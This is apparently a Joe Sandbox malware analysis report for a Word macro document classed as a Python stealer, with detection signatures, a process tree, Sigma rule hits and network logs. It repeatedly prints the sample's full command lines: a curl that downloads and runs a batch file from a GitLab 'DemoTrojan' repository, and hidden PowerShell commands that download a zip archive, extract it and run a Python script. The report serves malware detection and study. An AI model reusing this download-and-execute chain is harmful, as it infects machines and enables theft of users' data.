Edit tour

Windows Analysis Report
Doc1.docm

Overview

General Information

Sample name:	Doc1.docm
Analysis ID:	1493311
MD5:	0fee354732496cdbdb4e78ecb218a81a
SHA1:	94e8d66e627a9b5bd957db8b7ec50789228212d6
SHA256:	5b168fed855515940cfe164b18fd5f9d73873902d01f04171de65bc34487f402
Tags:	docm
Infos:

Detection

Python Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Yara detected Powershell download and execute

Document contains an embedded VBA macro which may execute processes

Document exploit detected (process start blacklist hit)

Machine Learning detection for sample

Powershell drops PE file

Sigma detected: Curl Download And Execute Combination

Sigma detected: Execution from Suspicious Folder

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Parent in Public Folder Suspicious Process

Sigma detected: PowerShell DownloadFile

Sigma detected: Powerup Write Hijack DLL

Sigma detected: Suspicious Microsoft Office Child Process

Sigma detected: Suspicious Program Location with Network Connections

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Suspicious powershell command line found

Tries to download and execute files (via powershell)

Yara detected Generic Python Stealer

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Document contains an embedded VBA macro which executes code when the document is opened / closed

Document contains embedded VBA macros

Document embeds suspicious OLE2 link

Document misses a certain OLE stream usually present in this Microsoft Office document type

Dropped file seen in connection with other malware

Drops PE files

Drops certificate files (DER)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Command Line Execution with Suspicious URL and AppData Strings

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

WINWORD.EXE (PID: 7108 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding MD5: 1A0C2C2E7D9C4BC18E91604E9B0C7678)

cmd.exe (PID: 7436 cmdline: C:\Windows\SysWOW64\cmd.exe /c curl -L -o %APPDATA%\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat && %APPDATA%\Pun.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 7496 cmdline: curl -L -o C:\Users\user\AppData\Roaming\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

powershell.exe (PID: 7520 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/DemoTrojan/real/-/raw/main/Document.zip', 'C:\Users\Public\Document.zip')" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 7300 cmdline: powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public')" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 984 cmdline: powershell.exe -WindowStyle Hidden -Command " C:\Users\Public\python.exe C:\Users\Public\windows.py" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

python.exe (PID: 7228 cmdline: "C:\Users\Public\python.exe" C:\Users\Public\windows.py MD5: 45566EA9603864E6677E782C9F8B0AB0)

cmd.exe (PID: 6236 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 6668 cmdline: cmd /c del C:\Users\Public\windows.py MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\Pun.bat	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\Public\windows.py	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: curl.exe PID: 7496	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7520	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi32_7520.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Curl Download And Execute Combination

Source: Process started

Author: Sreeman, Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\SysWOW64\cmd.exe /c curl -L -o %APPDATA%\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat && %APPDATA%\Pun.bat, CommandLine: C:\Windows\SysWOW64\cmd.exe /c curl -L -o %APPDATA%\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat && %APPDATA%\Pun.bat, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, ParentProcessId: 7108, ParentProcessName: WINWORD.EXE, ProcessCommandLine: C:\Windows\SysWOW64\cmd.exe /c curl -L -o %APPDATA%\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat && %APPDATA%\Pun.bat, ProcessId: 7436, ProcessName: cmd.exe

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\python.exe" C:\Users\Public\windows.py, CommandLine: "C:\Users\Public\python.exe" C:\Users\Public\windows.py, CommandLine|base64offset|contains: , Image: C:\Users\Public\python.exe, NewProcessName: C:\Users\Public\python.exe, OriginalFileName: C:\Users\Public\python.exe, ParentCommandLine: powershell.exe -WindowStyle Hidden -Command " C:\Users\Public\python.exe C:\Users\Public\windows.py", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 984, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Users\Public\python.exe" C:\Users\Public\windows.py, ProcessId: 7228, ProcessName: python.exe

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: C:\Windows\SysWOW64\cmd.exe /c curl -L -o %APPDATA%\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat && %APPDATA%\Pun.bat, CommandLine: C:\Windows\SysWOW64\cmd.exe /c curl -L -o %APPDATA%\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat && %APPDATA%\Pun.bat, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, ParentProcessId: 7108, ParentProcessName: WINWORD.EXE, ProcessCommandLine: C:\Windows\SysWOW64\cmd.exe /c curl -L -o %APPDATA%\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat && %APPDATA%\Pun.bat, ProcessId: 7436, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Parent in Public Folder Suspicious Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "ver", CommandLine: C:\Windows\system32\cmd.exe /c "ver", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\Public\python.exe" C:\Users\Public\windows.py, ParentImage: C:\Users\Public\python.exe, ParentProcessId: 7228, ParentProcessName: python.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "ver", ProcessId: 6236, ProcessName: cmd.exe

Sigma detected: PowerShell DownloadFile

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/DemoTrojan/real/-/raw/main/Document.zip', 'C:\Users\Public\Document.zip')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/DemoTrojan/real/-/raw/main/Document.zip', 'C:\Users\Public\Document.zip')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\SysWOW64\cmd.exe /c curl -L -o %APPDATA%\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat && %APPDATA%\Pun.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7436, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/DemoTrojan/real/-/raw/main/Document.zip', 'C:\Users\Public\Document.zip')", ProcessId: 7520, ProcessName: powershell.exe

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7300, TargetFilename: C:\Users\Public\Lib\ctypes\macholib\fetch_macholib.bat

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: C:\Windows\SysWOW64\cmd.exe /c curl -L -o %APPDATA%\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat && %APPDATA%\Pun.bat, CommandLine: C:\Windows\SysWOW64\cmd.exe /c curl -L -o %APPDATA%\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat && %APPDATA%\Pun.bat, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, ParentProcessId: 7108, ParentProcessName: WINWORD.EXE, ProcessCommandLine: C:\Windows\SysWOW64\cmd.exe /c curl -L -o %APPDATA%\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat && %APPDATA%\Pun.bat, ProcessId: 7436, ProcessName: cmd.exe

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 104.26.12.205, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Users\Public\python.exe, Initiated: true, ProcessId: 7228, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49816

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7520, TargetFilename: C:\Users\Public\Document.zip

Sigma detected: Command Line Execution with Suspicious URL and AppData Strings

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: C:\Windows\SysWOW64\cmd.exe /c curl -L -o %APPDATA%\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat && %APPDATA%\Pun.bat, CommandLine: C:\Windows\SysWOW64\cmd.exe /c curl -L -o %APPDATA%\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat && %APPDATA%\Pun.bat, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, ParentProcessId: 7108, ParentProcessName: WINWORD.EXE, ProcessCommandLine: C:\Windows\SysWOW64\cmd.exe /c curl -L -o %APPDATA%\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat && %APPDATA%\Pun.bat, ProcessId: 7436, ProcessName: cmd.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7300, TargetFilename: C:\Users\Public\python3.dll

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/DemoTrojan/real/-/raw/main/Document.zip', 'C:\Users\Public\Document.zip')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/DemoTrojan/real/-/raw/main/Document.zip', 'C:\Users\Public\Document.zip')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\SysWOW64\cmd.exe /c curl -L -o %APPDATA%\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat && %APPDATA%\Pun.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7436, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/DemoTrojan/real/-/raw/main/Document.zip', 'C:\Users\Public\Document.zip')", ProcessId: 7520, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: C:\Windows\SysWOW64\cmd.exe /c curl -L -o %APPDATA%\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat && %APPDATA%\Pun.bat, CommandLine: C:\Windows\SysWOW64\cmd.exe /c curl -L -o %APPDATA%\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat && %APPDATA%\Pun.bat, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, ParentProcessId: 7108, ParentProcessName: WINWORD.EXE, ProcessCommandLine: C:\Windows\SysWOW64\cmd.exe /c curl -L -o %APPDATA%\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat && %APPDATA%\Pun.bat, ProcessId: 7436, ProcessName: cmd.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/DemoTrojan/real/-/raw/main/Document.zip', 'C:\Users\Public\Document.zip')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/DemoTrojan/real/-/raw/main/Document.zip', 'C:\Users\Public\Document.zip')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\SysWOW64\cmd.exe /c curl -L -o %APPDATA%\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat && %APPDATA%\Pun.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7436, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/DemoTrojan/real/-/raw/main/Document.zip', 'C:\Users\Public\Document.zip')", ProcessId: 7520, ProcessName: powershell.exe

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, ProcessId: 7108, TargetFilename: C:\Users\user\Desktop\~$Doc1.docm

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://gitlab.com/demotrojan/real/-/raw/main/document.zip	Avira URL Cloud: Label: malware
Source: https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: Doc1.docm	ReversingLabs: Detection: 18%
Source: Doc1.docm	Virustotal: Detection: 11%			Perma Link

Machine Learning detection for sample

Source: Doc1.docm

Joe Sandbox ML: detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\idlelib\Icons\README.txt	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\idlelib\idle_test\README.txt	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Lib\idlelib\README.txt	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.4:49741 version: TLS 1.2

Source:	Binary string: D:\_w\1\b\bin\amd64\select.pdb source: select.pyd.13.dr
Source:	Binary string: D:\_w\1\b\bin\amd64\python.pdb source: python.exe, 00000010.00000000.2637827959.00007FF73C8E2000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\_testcapi.pdb source: _testcapi.pyd.13.dr

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Process created: C:\Windows\SysWOW64\cmd.exe

Source: global traffic	DNS query: name: gitlab.com
Source: global traffic	DNS query: name: api.ipify.org
Source: global traffic	DNS query: name: ipinfo.io

Source: global traffic	TCP traffic: 192.168.2.4:49738 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49738 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49738 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49738 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49738 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49738 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49738 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49738 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49738 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49738 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
